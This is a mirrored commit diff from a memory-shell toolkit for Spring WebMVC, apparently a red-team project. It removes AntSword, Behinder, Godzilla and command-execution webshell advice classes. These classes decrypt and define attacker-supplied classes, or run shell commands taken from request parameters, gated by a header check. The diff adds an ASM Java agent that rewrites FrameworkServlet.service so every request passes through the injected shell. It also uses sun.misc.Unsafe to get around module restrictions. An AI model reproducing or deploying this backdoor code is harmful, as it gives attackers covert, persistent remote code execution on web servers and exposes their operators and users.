mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: use ASM Agent by default
This commit is contained in:
-62
@@ -1,62 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.springwebmvc.antsword;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordServletAdvisor {
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 0) Object request,
|
||||
@Advice.Argument(value = 1) Object response,
|
||||
@Advice.Origin Class<?> targetClazz
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Object unsafe = unsafeField.get(null);
|
||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||
Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
getAndSetObjectM.invoke(unsafe, targetClazz, offset, module);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
-96
@@ -1,96 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.springwebmvc.behinder;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/18
|
||||
*/
|
||||
public class BehinderServletAdvisor {
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 0) Object request,
|
||||
@Advice.Argument(value = 1) Object res,
|
||||
@Advice.Origin Class<?> targetClazz
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Object unsafe = unsafeField.get(null);
|
||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
getAndSetObjectM.invoke(unsafe, targetClazz, offset, module);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", request);
|
||||
Object response = res;
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField("response");
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field != null) {
|
||||
field.setAccessible(true);
|
||||
response = field.get(response);
|
||||
}
|
||||
obj.put("response", response);
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
|
||||
obj.put("session", session);
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
|
||||
String parameter = reader.readLine();
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
|
||||
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
|
||||
Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
|
||||
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
|
||||
Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(pass.getBytes(), "AES");
|
||||
Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
|
||||
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
||||
cipherInitMethod.invoke(cipher, 2, secretKeySpec);
|
||||
byte[] bytes = (byte[]) doFinalMethod.invoke(cipher, data);
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(obj);
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
-36
@@ -1,36 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.springwebmvc.command;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/18
|
||||
*/
|
||||
public class CommandServletAdvisor {
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 0) Object request,
|
||||
@Advice.Argument(value = 1) Object response
|
||||
) {
|
||||
String paramName = "paramName";
|
||||
try {
|
||||
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
-104
@@ -1,104 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.springwebmvc.godzilla;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.PrintWriter;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaServletAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 0) Object request,
|
||||
@Advice.Argument(value = 1) Object response,
|
||||
@Advice.Origin Class<?> clazz
|
||||
) {
|
||||
String key = "key";
|
||||
String pass = "pass";
|
||||
String md5 = "md5";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Object unsafe = unsafeField.get(null);
|
||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||
Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
getAndSetObjectM.invoke(unsafe, clazz, offset, module);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
|
||||
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
|
||||
Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
|
||||
Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
|
||||
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
||||
|
||||
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
|
||||
Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(key.getBytes(), "AES");
|
||||
cipherInitMethod.invoke(cipher, 2, secretKeySpec);
|
||||
|
||||
data = (byte[]) doFinalMethod.invoke(cipher, data);
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
||||
if (sessionPayload == null) {
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload);
|
||||
} else {
|
||||
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
||||
writer.write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
|
||||
cipherInitMethod.invoke(cipher, 1, secretKeySpec);
|
||||
byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher, arrOut.toByteArray());
|
||||
String result = null;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
|
||||
}
|
||||
writer.write(result);
|
||||
writer.write(md5.substring(16));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+179
-41
@@ -1,39 +1,24 @@
|
||||
package com.reajason.javaweb.memshell.springwebmvc.injector;
|
||||
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/28
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class SpringWebMvcFrameworkServletAgentInjector implements AgentBuilder.Transformer {
|
||||
public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "org/springframework/web/servlet/FrameworkServlet";
|
||||
private static final String TARGET_METHOD_NAME = "service";
|
||||
|
||||
static Class<?> interceptorClass = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
interceptorClass = Class.forName(getClassName());
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||
TypeDescription typeDescription,
|
||||
ClassLoader classLoader, JavaModule module,
|
||||
ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(interceptorClass).on(named("service")));
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
@@ -44,21 +29,174 @@ public class SpringWebMvcFrameworkServletAgentInjector implements AgentBuilder.T
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.disableClassFormatChanges()
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("org.springframework.web.servlet.FrameworkServlet"))
|
||||
.transform(new SpringWebMvcFrameworkServletAgentInjector())
|
||||
.installOn(inst);
|
||||
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
|
||||
inst.addTransformer(new SpringWebMvcFrameworkServletAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
} finally {
|
||||
try {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
-97
@@ -1,97 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.springwebmvc.injector;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class SpringWebMvcFrameworkServletAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "org/springframework/web/servlet/FrameworkServlet";
|
||||
private static final String TARGET_METHOD_NAME = "service";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public SpringWebMvcFrameworkServletAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new SpringWebMvcFrameworkServletAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user